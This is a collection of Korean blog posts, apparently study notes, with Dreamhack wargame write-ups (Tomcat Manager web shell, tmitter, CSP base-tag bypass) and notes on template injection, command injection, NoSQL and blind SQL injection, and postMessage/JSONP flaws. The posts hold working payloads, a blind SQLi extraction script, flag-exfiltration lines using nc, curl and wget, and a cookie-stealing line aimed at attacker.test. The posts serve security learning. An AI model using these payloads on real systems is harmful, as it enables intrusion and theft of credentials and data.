문제

간만에 재밌는 문제였다.

 

 

 

 

풀이

문제 이름 대로 tomcat manager 페이지에 접속 시도를 했지만 아이디와 비번이 필요했다.

 

 

 

문제 파일의 Docker 파일에서 manager 페이지의 계정 정보가 있는 파일의 절대 경로를 확인할 수 있었다.

 

 

메인페이지의 이미지를 로드하는 방식에서 LFI 취약점을 발견했다.

 

 

 

LFI 취약점으로 tomcat-users.xml 파일의 내용을 확인했다.

tomcat manager 페이지의 패스워드를 알아냈다.

 

 

 

이제 알아낸 계정으로 tomcat manager 페이지에 접속한다.

 

 

파일 업로드 기능을 이용해 웹쉘을 업로드한다.

 

 

웹쉘이 정상적으로 업로드된 걸 확인할 수 있다.

 

 

웹쉘로 flag 파일을 확인해보면 실행파일인 것을 알 수 있다.

 

 

'/flag'를 입력하면 flag 파일이 실행되어 flag가 출력된다.

 

 

 

 

'웹 해킹 > 드림핵' 카테고리의 다른 글

[드림핵] [wargame.kr] tmitter 풀이  (0) 2024.10.29
[드림핵] CSP Bypass Advanced 풀이  (0) 2024.09.02

 

 

 

문제 

admin 아이디로 로그인하면 풀리는 문제인 것 같다.

id(32), ps(32) 에서 수상쩍은 냄새가 난다.

 

 

 

 

 

풀이

로그인 기능과 회원가입 기능이 있다.

 

 

 

회원가입에서 admin 계정을 생성해보려고 했지만, 중복 확인 기능이 구현되어 있어서 막혔다.

 

 

 

 

하지만 아까 문제 설명의 테이블 구조에서 id는 32 글자 이하로 정의되어 있는 것을 확인했다.

그러면 데이터가 테이블에 삽입될 때,  32글자에서 넘어가는 글자는 짤린다.  

'a' * 32 + 'a' → 'a' * 32

 

그래서 (( admin + 공백*27 + 아무 문자 ))로 입력하면, 중복 확인 기능을 우회하고 admin 아이디로 계정을 생성할 수 있다.

 

 

그 전에 개발자도구로 maxlength 옵션을 삭제해 줘야한다.

 

 

그리고 (( admin + 공백*27 + 아무 문자 ))로 회원가입을 해주면 계정이 생성된다.

 

 

생성한 admin 계정으로 로그인을 하면 flag를 확인할 수 있다.

 

 

 

'웹 해킹 > 드림핵' 카테고리의 다른 글

[드림핵] Tomcat Manager 풀이  (0) 2024.10.29
[드림핵] CSP Bypass Advanced 풀이  (0) 2024.09.02

 

 

Client Side Template Injection은 이용자의 입력 값이 client side template 프레임워크에 의해 템플릿으로 해석되어 렌더링될 때 발생된다.

 

 

 

Vue

 

Vue 혹은 Vue.js라고 불리는 프론트엔드 프레임워크는 2014년 출시된 프레임워크이며, 이용자 인터페이스나 Single Page Application을 빌드할 때 사용된다.

 

<script src="https://unpkg.com/vue@3"></script>

<div id="app">{{ message }}</div>

<script>
  Vue.createApp({
    data() {
      return {
        message: 'Hello Vue!'
      }
    }
  }).mount('#app')
</script>

 

위 코드에서 {{  }} 로 감싸진 부분이 Vue 템플릿 부분이다. 해당 템플릿 내에서 문자열을 표시하거나, 자바스크립트 표현식을 실행할 수 있다. 

만약 여기 템플릿 내부에 공격자의 입력이 삽입돼, Template Injection 취약점이 발생한다면, XSS 공격으로 이어질 수 있다.

 

 

<script src="https://unpkg.com/vue@3"></script>

<div id="app">
	<?php echo htmlspecialchars($_GET['msg']); ?>
</div>

<script>
  Vue.createApp({
    data() {
      return {
        message: 'Hello Vue!'
      }
    }
  }).mount('#app')
</script>

 

위 코드는 htmlspecialchars() 함수를 사용하여 $_GET['msg']를 출력하므로, 기본적으로 XSS 공격에는 안전하다.

 

하지만 Template Injection 의 경우에는 상황이 조금 다르다.

Vue.js를 포함한 JavaScript 기반 프레임워크에서는 템플릿을 파싱하고, 실행 시점에 동적으로 내용을 갱신하는 기능이 있기 때문에, 사용자가 제공한 입력이 Vue 템플릿으로 해석되어 Template Injection 이 발생할 수 있다.

 


 

Template Injection이 발생하는지 확인하는 간단한 방법은 템플릿을 이용해 산술 연산을 수행해보는 것이다.

{{1+1}} 과 같은 산술 연산 형태의 템플릿을 입력했을 때, 연산이 실행된 형태인 2가 출력된다면 Template Injection이 발생하는 것으로 확인할 수 있다.

 

 

Template Injection이 발생할 때, 이를 이용해 임의의 자바스크립트 코드를 실행하는 방법으로 생성자(constructor)를 사용하는 방법이 있다. Vue 템플릿 컨텍스트 내에서 생성자에 접근하여 악성 코드를 생성하고 이를 호출하여 XSS 공격을 수행할 수 있다.

Vue 템플릿 컨텍스트에서 생성자에 접근하는 대표적인 방법을 {{_Vue.h.constructor}} 를 사용하는 것이다.

이를 이용한 익스플로잇 코드는 다음과 같다.

{{_Vue.h.constructor("alert(1)")()}}     →  alert(1) 실행

 

 

 

 

 

AngularJS

AngularJS는 타입스크립트 기반의 오픈소스 프레임워크이며 CLI 도구에서 다양한 기능을 제공하기 때문에 개발을 편리하게 해주는 프레임워크 중 하나다.

 

<!doctype html>
<html ng-app>
  <head>
    <script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.8.3/angular.min.js"></script>
  </head>
  <body>
    <div>
      <label>Name:</label>
      <input type="text" ng-model="yourName" placeholder="Enter a name here">
      <hr>
      <h1>Hello {{yourName}}!</h1>
    </div>
  </body>
</html>

 

Vue와 마찬가지로 {{  }}로 감싸진 부분이 AngularJS 템플릿 부분이며, 해당 템플릿 내에서 문자열을 표시하거나, 자바스크립트 표현식을 실행할 수 있다. 만약 여기서 템플릿 내부에 공격자의 입력이 들어가 Template Injection 취약점이 발생한다면, XSS 공격으로 이어질 수 있다.

 

 

<!doctype html>
<html ng-app>
  <head>
    <script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.8.3/angular.min.js"></script>
  </head>
  <body>
      <?php echo htmlspecialchars($_GET['msg']); ?>
  </body>
</html>

 

htmlspecialchars 함수를 통해 msg 파라미터 출력하기 때문에 XSS 공격은 방지할 수 있지만, 출력되는 값이 AngularJS의 템플릿으로 사용될 수 있기 때문에 Template Injection이 발생한다.

 


 

{{1+1}} 과 같은 산술 연산 형태의 템플릿을 입력했을 때, 연산이 실행된 형태인 2가 출력된다면 Template Injection이 발생하는 것으로 확인할 수 있다.

 

Template Injection이 발생할 때, 이를 이용해 임의의 자바스크립트 코드를 실행하는 방법으로 생성자(constructor)를 사용하는 방법이 있다.  AngularJS 템플릿에서 생성자에 접근하기 위해서는 {{ constructor.constructor }}로 접근할 수 있다.

이를 이용하여 임의 코드에 해당하는 함수를 생성하고, 호출하여 공격할 수 있다

{{ constructor.constructor("alert(1)")() }}      →  alert(1) 실행

 

 

 

 

 

 

이용자의 입력을 시스템 명령어로 실행하게 하는 취약점

 

시스템 명령어를 실행하는 함수에 이용자가 임의의 인자를 전달 할 수 있을 때 발생

 

이는 리눅스 쉘 프로그램이 지원하는 다양한 메타 문자 때문이다.

시스템 함수는 쉘 프로그램에 명령어를 전달하여 실행하는, 쉘 프로그램은 다양한 메타 문자를 지원한다.

 

''  명령어 치환

'' 안에 있는 명령어를 실행한 결과로 치환된다.

$ echo `echo theori`
theori

 

$() 명령어 치환

$() 안에 있는 명령어를 실행한 결과로 치환된다. 중복 사용이 가능하다.

$ echo $(echo $(echo theori))
theori

 

&& 명령어 연속 실행

한 줄에 여러 명령어를 사용할 수 있다. 앞 명령어에서 에러가 발생하지 않아야 뒷 명령어가 실행된다.

$ echo hello && echo theori
hello
theori

 

 

|| 명령어 연속 실행

한 줄에 여러 명령어를 사용할 수 있다. 앞 명령어에서 에러가 발생해야 뒷 명령어가 실행된다.

$ cat / || echo theori
cat: /: Is a directory
theori

 

 

; 명령어 구분자

한 줄에 여러 명령어를 사용할 수 있다. 앞 명령어의 에러 유무와 관계 없이 뒷 명령어를 실행한다.

$ echo hello ; echo theori
hello
theori

 

 

| 파이프

앞 명령어의 결과가 뒷 명령어의 입력으로 들어간다.

$ echo id | /bin/sh
uid=1001(theori) gid=1001(theori) groups=1001(theori)

 

 

 


 

필터링 우회

명령어의 입력으로 들어가는 문자열을 필터링하는 경우

echo -e "\x66\x6c\x61\x67" | xargs cat -e    //16진수 ASCII
cat $'\146\154\141\147'                      //8진수 ASCII
cat [0-z][0-z][0-z][0-z]
cat ????
cat FL${}AG

 

 

명령어(cat, ls, ...) 를 필터링하는 경우

c''a""t flag
c${invalid_variable}a${XX}t flag

 

 

공백을 필터링하는 경우

{cat,flag}
cat$IFS$()flag
cat${IFS}flag

 

 

실행 결과를 확인할 수 없는 환경에서 방법 (결과가 출력되지 않을 때)

 

nc, telcet 사용

cat flag | nc 127.0.0.1 8000
cat flag | telnet 127.0.0.1 8000

 

 

curl, wget 사용

curl "http://127.0.0.1:8080/?$(cat flag|base64 -w0)" // GET 요청
curl http://127.0.0.1:8080/ -d "$(cat flag)"         // POST 요청

wget http://127.0.0.1:8080 --method=POST --body-data="`cat flag`"

 

 

 


 

예제

URL 쿼리를 통해 전달되는 query  값을 ping 명령어의 인자로 전달하고

해당 명령어가 subprocess.check_output() 함수를 이용해 실행되어 출력되는 프로그램이 있다.

 

 

메타 문자를 이용하여 뒤에 원하는 명령어를 함께 실행시킬 수 있다.

 

  • 비관계형 데이터베이스(NoSQL): SQL을 사용해 데이터를 조회/추가/삭제하는 관계형 데이터베이스(RDBMS)와 달리 SQL을 사용하지 않으며, 이에 따라 RDBMS와는 달리 복잡하지 않은 데이터를 다루는 것이 큰 특징이자 RDBMS와의 차이점

 

 

MongoDB 특징

  • 스키마를 따로 정의하지 않아 각 컬렉션(Collection)에 대한 정의가 필요 없다
  • JSONP 형식으로 쿼리를 작성할 수 있다
  • _id 필드가 Primart Key 역할을 한다

 

 

MongoDB 연산자

Name Desciption
$eq 지정된 값과 같은 값을 찾습니다. (equal)
$in 배열 안의 값들과 일치하는 값을 찾습니다. (in)
$ne 지정된 값과 같지 않은 값을 찾습니다. (not equal)
$nin 배열 안의 값들과 일치하지 않는 값을 찾습니다. (not in)

 

Name Description
$and 논리적 AND, 각각의 쿼리를 모두 만족하는 문서가 반환됩니다.
$not 쿼리 식의 효과를 반전시킵니다. 쿼리 식과 일치하지 않는 문서를 반환합니다.
$nor 논리적 NOR, 각각의 쿼리를 모두 만족하지 않는 문서가 반환됩니다.
$or 논리적 OR, 각각의 쿼리 중 하나 이상 만족하는 문서가 반환됩니다.

 

Name Description
$exists 지정된 필드가 있는 문서를 찾습니다.
$type 지정된 필드가 지정된 유형인 문서를 선택합니다.

 

Name Discription
$expr 쿼리 언어 내에서 집계 식을 사용할 수 있습니다.
$regex 지정된 정규식과 일치하는 문서를 선택합니다.  
$text 지정된 텍스트를 검색합니다.

 

 

 

MongoDB 문법

SELECT

SELECT user_idx FROM account WHERE user_id="admin";

db.account.find(
  { user_id: "admin" },
  { user_idx:1, _id:0 }
)

 

 

INSERT

INSERT INTO account(user_id,user_pw,) VALUES ("guest", "guest");

db.account.insertOne(
  { user_id: "guest",user_pw: "guest" }
)

 

 

UPDATE

UPDATE account SET user_id="guest2" WHERE user_idx=2;

db.account.updateOne(
  { user_idx: 2 },
  { $set: { user_id: "guest2" } }
)

 

 

 


 

NoSQL 인젝션

 

MongoDB는 오브젝트, 배열 타입을 사용할 수 있다.

오브젝트 타입의 입력값을 처리할 때에는 쿼리 연산자를 사용할 수 있는데, 이를 통해 다양한 행위가 가능하다.

 

아래 코드는 user  컬렉션에서 이용자가 입력한 uid와 upw 에 해당하는 데이터를 찾고, 출력하고 있다.

이용자의 입력값에 대해 타입을 검증하지 않기 때문에 오브젝트 타입의 값을 입력할 수 있다.

const express = require('express');
const app = express();
const mongoose = require('mongoose');
const db = mongoose.connection;
mongoose.connect('mongodb://localhost:27017/', { useNewUrlParser: true, useUnifiedTopology: true });
app.get('/query', function(req,res) {
    db.collection('user').find({
        'uid': req.query.uid,
        'upw': req.query.upw
    }).toArray(function(err, result) {
        if (err) throw err;
        res.send(result);
  });
});
const server = app.listen(3000, function(){
    console.log('app.listen');
});

 

 

오브젝트 타입의 값을 입력할 수 있다면, 연산자를 사용할 수 있다.

$ne (not equal) 연산자로, 입력한 데이터와 일치하지 않는 데이터를 반환한다.

http://localhost:3000/query?uid[$ne]=a&upw[$ne]=a
=> [{"_id":"5ebb81732b75911dbcad8a19","uid":"admin","upw":"secretpassword"}]

$ne 연산자를 사용해 uid upw가 "a"가 아닌 데이터를 조회하는 공격 쿼리와 실행 결과

 

 

 


Blind NoSQL 인젝션

MongoDB에서는 $regex, $where 연산자를 사용해 Blind NoSQL Injection을 할 수 있다.

Name Description
$expr 쿼리 언어 내에서 집계 식을 사용할 수 있습니다.
$regex 지정된 정규식과 일치하는 문서를 선택합니다.
$text 지정된 텍스트를 검색합니다.
$where JavaScript 표현식을 만족하는 문서와 일치합니다.

 

 

$regex

정규식을 사용해 식과 일치하는 데이터를 조회한다. 

upw에서 각 문자로 시작하는 데이터를 조회하는 쿼리의 예시다.

> db.user.find({upw: {$regex: "^a"}})
> db.user.find({upw: {$regex: "^b"}})
> db.user.find({upw: {$regex: "^c"}})
...
> db.user.find({upw: {$regex: "^g"}})
{ "_id" : ObjectId("5ea0110b85d34e079adb3d19"), "uid" : "guest", "upw" : "guest" }

 

$where

표현식

인자로 전달한 Javascript 표현식을 만족하는 데이터를 조회한다. (필터링)

아래에서 $where 연산자는 전체 문서 수준에서만 사용할 수 있으며, 특정 필드에 적용될 수 없다는 것을 확인할 수 있다.

> db.user.find({$where:"return 1==1"})
{ "_id" : ObjectId("5ea0110b85d34e079adb3d19"), "uid" : "guest", "upw" : "guest" }
> db.user.find({uid:{$where:"return 1==1"}})
error: {
	"$err" : "Can't canonicalize query: BadValue $where cannot be applied to a field",
	"code" : 17287
}

 

substring

$where 연산자로 Javascript 표현식을 입력하면, Blind SQL injection에서 한 글자씩 비교했던 것과 같이 데이터를 추출할 수 있다.

아래는 upw의 첫 글자를 비교해 데이터를 추출하는 쿼리다.

> db.user.find({$where: "this.upw.substring(0,1)=='a'"})
> db.user.find({$where: "this.upw.substring(0,1)=='b'"})
> db.user.find({$where: "this.upw.substring(0,1)=='c'"})
...
> db.user.find({$where: "this.upw.substring(0,1)=='g'"})
{ "_id" : ObjectId("5ea0110b85d34e079adb3d19"), "uid" : "guest", "upw" : "guest" }

 

 

 


Time based Injection

MongoDB는 sleep 함수를 제공한다.

표현식과 함께 사용하면 지연 시간을 통해 참/거짓 결과를 확인할 수 있다.

아래는 upw의 첫 글자를 비교하고, 해당 표현식이 참을 반환할 때 sleep 함수를 실행하는 쿼리다.

db.user.find({$where: `this.uid=='${req.query.uid}'&&this.upw=='${req.query.upw}'`});
/* req.query.uid, req.query.upw 에 들어가는 js 코드들
/?uid=guest'&&this.upw.substring(0,1)=='a'&&sleep(5000)&&'1   <-참이면 5초 지연
/?uid=guest'&&this.upw.substring(0,1)=='b'&&sleep(5000)&&'1
/?uid=guest'&&this.upw.substring(0,1)=='c'&&sleep(5000)&&'1
...
/?uid=guest'&&this.upw.substring(0,1)=='g'&&sleep(5000)&&'1
=> 시간 지연 발생.
*/

 

 

 


Error based Injection

올바르지 않은 문법을 입력해 고의로 에러를 발생시킨다.

아래에서 upw의 첫 글자가 'g'인 경우 (참인 경우) 올바르지 않은 문법인 asdf를 실행하면서 에러가 발생한다.

> db.user.find({$where: "this.uid=='guest'&&this.upw.substring(0,1)=='g'&&asdf&&'1'&&this.upw=='${upw}'"});
error: {
	"$err" : "ReferenceError: asdf is not defined near '&&this.upw=='${upw}'' ",
	"code" : 16722
}
// this.upw.substring(0,1)=='g' 값이 참이기 때문에 asdf 코드를 실행하다 에러 발생
> db.user.find({$where: "this.uid=='guest'&&this.upw.substring(0,1)=='a'&&asdf&&'1'&&this.upw=='${upw}'"});
// this.upw.substring(0,1)=='a' 값이 거짓이기 때문에 뒤에 코드가 작동하지 않음

 

 

 

 


예제

$ne 연산자를 이용하여 upw값에 상관없이 uid "admin"인 데이터를 조회

 

 

 

$regex 연산자를 사용해서 Blind NoSQL Injection 공격

정규 표현식 .{5} 를 입력해서 비밀번호 길이가 5인 것을 확인

 

$regex 연산자와 정규표현식으로 비밀번호 문자열도 알아낼 수 있다.

 

header 선별

요청 패킷의 해더를 하나씩 삭제하고 보내는 과정에서

필요한 헤더들을 선별

 

 


request 모듈 사용

import requests

# 데이터베이스 이름의 길이를 찾는 부분
length = 0
for lengths in range(1, 30):
    url = "http://[domain]/search_result.php?catgo=title&search=%25%27%20and%20length(database())={0}%20--%20".format(lengths)
    res = requests.get(url)
    if "2949" in res.text:  # 특정 문자열로 길이를 식별
        print("\n  데이터베이스명의 길이는 {0}".format(lengths))
        length = lengths
        break
    else:
        continue

# 데이터베이스 이름을 추출하는 부분
db_name = ""
for i in range(1, length + 1):
    for j in range(33, 127):
        url = "http://[domain]/search_result.php?catgo=title&search=%25%27%20and%20ascii(substr(database(),{0},1))={1}%20--%20".format(i, j)
        res = requests.get(url)
        if "2949" in res.text:  # 특정 문자열로 문자 식별
            db_name += chr(j)
            break

print("\n  데이터베이스 명: {0}".format(db_name))

예시

 

 

참고

import requests
url = 'https://dreamhack.io/'
headers = {
    'Content-Type': 'application/x-www-form-urlencoded',
    'User-Agent': 'DREAMHACK_REQUEST'
}
params = {
    'test': 1,
}
for i in range(1, 5):
    c = requests.get(url + str(i), headers=headers, params=params)
    print(c.request.url)
    print(c.text)

requests 모듈 GET 예제 코드

 

import requests
url = 'https://dreamhack.io/'
headers = {
    'Content-Type': 'application/x-www-form-urlencoded',
    'User-Agent': 'DREAMHACK_REQUEST'
}
data = {
    'test': 1,
}
for i in range(1, 5):
    c = requests.post(url + str(i), headers=headers, data=data)
    print(c.text)

requests 모듈 POST 예제 코드

 

 


실행 (cmd)

py [파일명]

 

 

CORS (Cross-Origin Resource Sharing)

동일 출처 정책(SOP)의 한계를 극복하고 다른 오리진 간 자원 공유를 가능하게 하는 방법

이를 위해 postMessage, JSONP 와 같은 기술들이 도입되었다.

 

  • CORS의 목적: SOP 보안 정책을 우회하여, 다른 오리진 간에 자원을 안전하게 공유할 수 있도록 설계됨
  • 취약점 발생 가능성: CORS를 잘못 설정하면 사이트 간 요청 위조(CSRF)와 같은 보안 취약점이 발생할 수 있음. 이는 웹 서비스뿐만 아니라 P2P 파일 공유 소프트웨어에서도 문제가 될 수 있음

 

 

CORS 사용 시 발생할 수 있는 주요 취약점

  • 기밀성 문제:
    • CORS가 민감한 정보를 특정 대상에게만 공유하려는 경우에도, Origin 검사를 제대로 하지 않으면 정보가 다른 사이트로 유출될 위험이 있음
    • 예를 들어, CORS 요청 시 Origin 검사가 없거나 제한이 없는 경우, 사용자의 신원 등 민감한 정보가 노출될 수 있음
  • 무결성 문제:
    • CORS 요청의 Origin을 신뢰할 수 있는지 확인하지 않거나 제한하지 않으면, XSS와 같은 보안 문제가 발생할 수 있음
    • CORS 설정 시 신뢰할 사이트를 정확히 결정하고, XSS 필터와 같은 추가적인 방어가 필요

 

 

 

postMessage 취약점

초기의 웹 환경에서는 프레임들이 서로 코드를 자유롭게 호출할 수 있었지만 SOP가 도입되면서 서로 다른 오리진의 리소스 공유가 제한되었다.

이를 해결하기 위해, 서로 다른 오리진 간에 안전하게 메시지를 주고받을 수 있는 API가 고안되었다.

 

  • 메시지 전송: 대상 윈도우의 postMessage 메소드를 호출하여 메시지를 전송
  • 메시지 수신: 수신 측에서는 message 전역 이벤트를 사용해 메시지를 처리

postMessage는 문자열뿐만 아니라 객체도 주고받을 수 있지만, 보안을 위해 함수, DOM 노드, 프로토타입, get/set 속성은 전송할 수 없다.

또한, 전송되는 객체는 복사되기 때문에, 송신 후에 객체를 변경해도 수신 측에서는 변경된 내용을 볼 수 없다.

 

 

Origin 미확인

postMessage API 사용 시 Origin 을 명확히 지정 및 검사해야 한다.

message 이벤트 핸들러에서 origin 속성을 검사하지 않고 메시지의 내용을 신뢰하면 보안 문제가 발생할 수 있다.

 

아래는 Origin을 확인하지 않는 예제다.

프레임 내 하위 윈도우에서 부모 윈도우로 postMessage를 보내고 있다. 

여기서 부모 윈도우에서 수신한 messgae의 data를 innerHTML로 넣는 것을 볼 수 있다.

이 때 부모 윈도우에서 portMessage의 Origin을 확인하지 않아 공격자의 오리진에서 임의 HTML을 삽입할 수 있다.

// https://dreamhack.io
window.onmessage = function (e) {
    var dialog = document.getElementById('my-dialog');
    if (dialog == null) {
        dialog = document.createElement('dialog');
        dialog.id = 'my-dialog';
        document.body.appendChild(dialog);
    }
    dialog.setAttribute('open', '');
    dialog.innerHTML = e.data;  // Insert html
};

부모 window

// https://bob.dreamhack.io
parent.postMessage('<h1>안내</h1><p>작업이 완료되었습니다.</p>', 'https://dreamhack.io');

하위 window

// https://attacker.test
parent.postMessage(`XSS attack<script>
new Image().src="https://attacker.test/retrieve?" + document.cookie);
alert(document.domain);
<${'/'}script>`, 'https://dreamhack.io');

공격자 window

 

 

Origin 전환 경합 조건

postMessage를 사용할 때 메시지를 보내는 대상이 웹 문서가 아닌 창(윈도우)라는 것을 주의해야 한다.

창의 경우에는 사용자가 하이퍼링크를 방문하거나 스크립트가 다른 문서로 리다이렉트시켜 Origin이 변경될 수 있다.

이 상태에서 메시지를 보내면 의도하지 않은 Origin으로 메시지가 전송되는 보안 문제가 발생할 수 있다.

 

공격 시나리오

  1. 부모 window에서 하위 window 생성
  2. 하위 window가 부모 window한테 postMessage로 메시지 및 비밀 값 전송
  3. 부모 window가 공격작의 다른 웹 사이트로 리다이렉트
  4. 하위 window는 여전히 부모 window에게 메시지 및 비밀 값 전송
  5. 공격자 사이트가 하위 window가 보내주는 메시지 수신

 


 

 

JSONP 취약점

JSON with Padding의 준말

CORS 기술이 도입되기 전, SOP를 우회하기 위해 사용된 방식

JSONP API는 JSON API와 유사하나, 응답 데이터를 특정 콜백 함수로 호풀하는 코드로 감싸고 요청 시 XHR이 아니라 다음과 같이 스크립트로 포함시켜 동작한다는 점이 다르다.

<script src="https://api.test/request.jsonp?id=123&callback=onAPIResponse">

 

 

응답은 onAPIResponse({...}); 식으로 생성되어 최종적으로 본래 문서의 함수를 호출하게 된다.

 

 

Origin 검사 부재로 인한 CSRF

HTTP GET 메소드에 의존하는 JSONP 특성 상 CSRF 공격에 취약하다.

 

민감한 정보를 반환하거나 권한이 필요한 작업을 수행하는 JSONP API가 CSRF 공격에 노출되었을 경우,

JSONP API를 이용해 추가적인 정보 유출 및 피해가 발생할 수 있다.

 

이를 방어하기 위해 JSONP 요청을 처리할 때 요청자의 Origin을 검사하거나, CSRF 토큰을 사용할 수 있다.

 

 

콜백 함수명 검증 부재로 인한 제공자 XSS

JSONP API 대부분은 사용자가 콜백 함수명을 직접 지정할 수 있도록 하고 있다. 만일 콜백명에 HTML 코드 등을 삽입한다면 브라우저는 이를 HTML 코드로 인식할 수 있고, 이 경우 XSS 취약점이 발생하게 된다.

 

콜백 HTML 삽입을 막기 위해서 콜백명에 필터를 적용해야 한다. 

 

JSONP는 API 제공자의 코드를 그대로 사용자의 웹 문서에서 실행한다.

만약 JSONP API가 침해 사고를 당해 악의적인 응답이 들어온다면 이를 이용하는 모든 사이트는 XSS 공격에 노출된다.

따라서 JSONP 사용을 피하고 CORS 정책 헤더를 대신 사용해야 한다.

 

문제 파일

CSP 를 사용하여 XSS 공격을 방지하고 있지만, base-uri 정책이 없다.

#중략

@app.after_request
def add_header(response):
    global nonce
    response.headers['Content-Security-Policy'] = f"default-src 'self'; img-src https://dreamhack.io; style-src 'self' 'unsafe-inline'; script-src 'self' 'nonce-{nonce}'; object-src 'none'"
    nonce = os.urandom(16).hex()
    return response

#중략

@app.route("/vuln")
def vuln():
    param = request.args.get("param", "")
    return render_template("vuln.html", param=param, nonce=nonce)
    
#중략

 

 

/vuln 페이지에서 응답으로 보내주는 html 코드는 아래와 같다.

Bootstrap을 사용해 간단한 고정 상단 네비게이션 바와 이미지를 포함한 웹 페이지를 구성하고 있다.

여기서 주목해야 할 부분은 /static/js/jquery.min.js, /static/js/bootstrap.min.js에서 자바스크립트 파일을 불러온다는 것이다.

<!doctype html>
<html>
  <head>
    <link rel="stylesheet" href="/static/css/bootstrap.min.css">
    <link rel="stylesheet" href="/static/css/bootstrap-theme.min.css">
    <link rel="stylesheet" href="/static/css/non-responsive.css">
    <title>Index CSP-Bypass-Advanced</title>
    
  
  <style type="text/css">
    .important { color: #336699; }
  </style>

  </head>
<body>

    <!-- Fixed navbar -->
    <nav class="navbar navbar-default navbar-fixed-top">
      <div class="container">
        <div class="navbar-header">
          <a class="navbar-brand" href="/">CSP-Bypass-Advanced</a>
        </div>
        <div id="navbar">
          <ul class="nav navbar-nav">
            <li><a href="/">Home</a></li>
          </ul>

          <ul class="nav navbar-nav navbar-right">
          </ul>

        </div><!--/.nav-collapse -->
      </div>
    </nav>

    <div class="container">
      
  <img src=https://dreamhack.io/assets/img/logo.0a8aabe.svg>

    </div> <!-- /container -->

    <!-- Bootstrap core JavaScript -->
    <script src="/static/js/jquery.min.js" nonce=fd084e469385def08569d21601b06e28></script>
    <script src="/static/js/bootstrap.min.js" nonce=fd084e469385def08569d21601b06e28></script> 
</body>
</html>

 

 

 

풀이

base-uri 정책이 없으면  <base> 태그를 이용해 URL 기반의 공격을 할 수 있다.

<base> 태그는 HTML 문서의 상대 경로 기반 URL의 기준을 설정하는 데 사용되며, 모든 상대경로가 해당 URL을 기준으로 해석되고 원하는 경로로 연결된다.

 

 

/vuln 페이지에서 /static/js/jquery.min.js, /static/js/bootstrap.min.js  자바스크립트 파일을 불러오기 때문에 

  1. 내 서버에 /static/js/jquery.min.js 또는 /static/js/bootstrap.min.js 파일을 만들고
  2. <base> 태그로 내 서버를 기준 URL로 지정하면 악성 스크립트가 실행될 수 있게된다. 

 

 

먼저 서버를 만들어 준다. 나는 깃허브로 만들어 주었다.

참고 - https://dnight.tistory.com/entry/GitHubio-%ED%8E%98%EC%9D%B4%EC%A7%80-%EB%A7%8C%EB%93%A4%EA%B8%B0

 

 

1. 해당 서버에 /static/js 폴더를 만들고, jquery.min.js 파일을 생성한다.

 

 

2. 이제 /flag 페이지에 <base href='[내 서버]'> 를 입력하여 제출하면 flag를 얻을 수 있다.

/flag

 

/memo

'웹 해킹 > 드림핵' 카테고리의 다른 글

[드림핵] Tomcat Manager 풀이  (0) 2024.10.29
[드림핵] [wargame.kr] tmitter 풀이  (0) 2024.10.29

+ Recent posts